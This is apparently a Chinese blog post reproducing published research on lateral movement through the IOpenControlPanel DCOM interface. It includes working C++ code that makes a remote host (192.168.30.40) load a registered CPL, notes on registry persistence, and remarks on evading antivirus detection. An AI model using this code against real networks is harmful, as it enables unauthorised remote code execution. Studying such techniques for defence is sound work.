作者原文: https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/ 。本人进行一个简单的学习以及复现。
CPL文件
CPL文件(Control Panel Item)是Windows操作系统中的一种特殊文件,主要用于存放控制面板中的各种设置项。当点击控制面板里的“鼠标”、“日期和时间”或“显示设置”时,系统实际上是在运行对应的.cpl文件。
比如说你运行main.cpl就可以跳到鼠标设置。

CPL文件其实也就是个可执行文件,也可以用来进行权限维持。执行CPL文件(双击执行 or 控制面板执行)的底层就是使用rundll32。
rundll32.exe shell32.dll,Control_RunDLL [filename].cpl
|
Control_RunDLL函数会执行CPL文件的导出函数CPlApplet。如果CPL文件已经注册到注册表中了,每次打开控制面板都没通过COM代理进程dllhost加载到内存中。即使CPL没有导出CPlApplet,不符合CPL文件规范,仍然可以执行DllMain函数。
HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
|

IOpenControlPanel COM接口
shell32中的这个进程内的COM实现了COpenControlPanel类,其中的IOpenControlPanel接口msdn公开了其定义,其中存在一个Open方法, 如msdn描述的那样,这个API可以打开制定并的CPL到特定的页面。

简单写个调用此方法的程序,代码也很简单因为我们可以直接包含这个头文件,代码如下:
#include <Windows.h> #include <shobjidl_core.h> #include <stdio.h>
int main() { HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
IOpenControlPanel* pOpenCP = nullptr; hr = CoCreateInstance(CLSID_OpenControlPanel, NULL, CLSCTX_INPROC_SERVER, IID_IOpenControlPanel, (void**)&pOpenCP);
if (FAILED(hr)) { printf("Failed to create IOpenControlPanel instance. HRESULT: 0x%X\n", hr); return -1; }
const wchar_t* pszName = L"C:\\Users\\19646\\Desktop\\test.cpl"; hr = pOpenCP->Open(pszName, NULL, NULL); if (FAILED(hr)) { printf("Failed to open control panel item. HRESULT: 0x%X\n", hr); return -1; } pOpenCP->Release(); CoUninitialize(); return 0; }
|
运行后会调用此CPL文件。

需要注意的是执行的这个CPL文件,需要在注册表中注册,即前面说的那个HKCU或者HKLM中。如下在Open方法中会调用GetPathWithLegacyCheck函数对传入的pszName进行检查,判断是否在注册表中注册。

一直往下分析就能够看到匹配的地方,首先枚举注册表中所有的控制面板项,然后在进行匹配。

此COM接口存在AppID,Launch和Access权限都是空的,所以该COM对象将遵循系统默认的DCOM安全策略。默认情况下,管理员组的成员可以启动和访问DCOM对象,即此COM接口可以很好的用于横向移动。

代码如下,另外作者基于Impacket写的项目地址: https://github.com/klsecservices/CPLDCOMTrigger 。
#include <Windows.h> #include <shobjidl_core.h> #include <stdio.h>
int main() { HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
COSERVERINFO si = { 0 }; si.pwszName = (LPWSTR)L"192.168.30.40";
MULTI_QI mqi = { 0 }; mqi.pIID = &IID_IOpenControlPanel;
hr = CoCreateInstanceEx( CLSID_OpenControlPanel, NULL, CLSCTX_REMOTE_SERVER, &si, 1, &mqi );
if (FAILED(hr) || FAILED(mqi.hr)) { printf("CoCreateInstanceEx failed: 0x%X\n", hr); return -1; }
IOpenControlPanel* pOpenCP = (IOpenControlPanel*)mqi.pItf;
const wchar_t* pszName = L"C:\\Users\\Public\\test.cpl";
hr = pOpenCP->Open(pszName, NULL, NULL);
if (FAILED(hr)) { printf("Open failed: 0x%X\n", hr); return -1; }
pOpenCP->Release(); CoUninitialize();
return 0; }
|
由于DCOM运行在Session 0(Session 0隔离)你写个弹窗的DLL肯定不可以执行,所以写个写文件的DLL验证即可。

我感觉这种横向移动方法不是很好,因为要写注册表,即使可以绕过火绒这种基于CLSID的检测,但是写注册表依旧无法绕过,通过WMI等等方法写都会被kill。